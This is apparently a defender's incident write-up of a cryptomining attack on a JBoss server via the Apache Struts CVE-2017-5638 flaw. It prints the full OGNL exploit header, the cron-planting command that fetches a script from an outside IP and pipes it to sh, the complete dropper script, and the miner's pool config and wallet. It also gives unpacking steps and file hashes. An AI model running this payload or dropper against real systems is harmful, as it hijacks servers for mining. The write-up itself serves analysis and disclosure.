Shell hiding in image files

One day, we noticed strange GET request towards our JBoss server:

GET /login.action   HTTP/1.1
Host: X.X.X.X
Connection: keep-alive 
Accept-Encoding: gzip, deflate 
Accept: */* 
User-Agent: Mozilla/5.0 
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} 

From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.

The request tried to execute command below:

#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -'

“-O” : writes the documents to file.
“-” : if is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)

As you see, it tried to fetch image (jpeg file) from 91.230.47.41. Seems normal right?
We fetch the file & take a look at the jpg file:

[email protected]:~/a# file logo.jpg
logo.jpg: POSIX shell script, ASCII text executable

ASCII?? Not JPEG?? hmm..
Here’s whats inside the “logo.jpg” file:

[email protected]:~/a# cat logo.jpg
#!/bin/sh
rm -rf /tmp/systemd-logind
rm -rf /tmp/logind.conf
rm -rf /tmp/kworker
rm -rf /tmp/kworker.conf
rm -rf /tmp/kauditd.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f qivtpwwuxs
ps auxf|grep -v grep|grep -v smzgmilpdo|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qivtpwwuxs"|awk '{print $2}'|xargs kill -9
ps -fe|grep smzgmilpdo|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/smzgmilpdo.conf
rm -rf /tmp/smzgmilpdo.conf
curl -o /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
wget -O /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c smzgmilpdo.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi

We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!

Here is the config file:
http://91.230.47.41/pics/kworker.conf

{{
    "url" : "stratum+tcp://212.129.44.157:80",
    "url" : "stratum+tcp://212.129.46.87:80",
    "url" : "stratum+tcp://212.129.44.156:80",
    "url" : "stratum+tcp://212.129.46.191:80",
    "url" : "stratum+tcp://62.210.29.108:80",
    "url" : "stratum+tcp://212.83.129.195:80",
    "url" : "stratum+tcp://212.129.44.155:80",
    "user" : "466iRjZzJZZWAqzV24ywY8XMVNkp9hj8UJiBEf61Eui6Nw8bEAJ1z434LWM3SKdaDyH7zgNY64rgg2fYmw8cbP5uBjpMA8g",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Not sure it is. Maybe bin file to run a process:
http://91.230.47.41/pics/kworker

[email protected]:~/91.230.47.41# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped

Lets see if the file is packed:

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2979640 ->   1217152   40.85%  linux/ElfAMD   kworker

Yup. So lets unpacked the file using UPX:

[email protected]:~/91.230.47.41# upx -d kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2980813 <-   1217152   40.83%  linux/ElfAMD   kworker

Unpacked 1 file.

[email protected]:~/91.230.47.41# upx -l kworker
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker1: NotPackedException: not packed by UPX

http://91.230.47.41/pics/kworker_na

[email protected]:~/91.230.47.41# file kworker_na
kworker_na: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0eedc33c49aeb80818a839a9b23cf159c710e443, stripped

[email protected]:~/91.230.47.41# upx -l kworker_na
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2011
UPX 3.08        Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: kworker_na: NotPackedException: not packed by UPX

Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. 🙂

Here the MD5 for file above:

211e98ac0686fe98d06570ad0689e9b3  logo.jpg
d2a01b844521fb141b8449f4d8e1c821  kworker.conf
483b322b42835227d98f523f9df5c6fc  kworker (upx packed)
4fa4269b7ce44bfce5ef574e6a37c38f  kworker (upx unpacked)
131df88b7d0b3e7a1c4d84c37e71fb60  kworker_na

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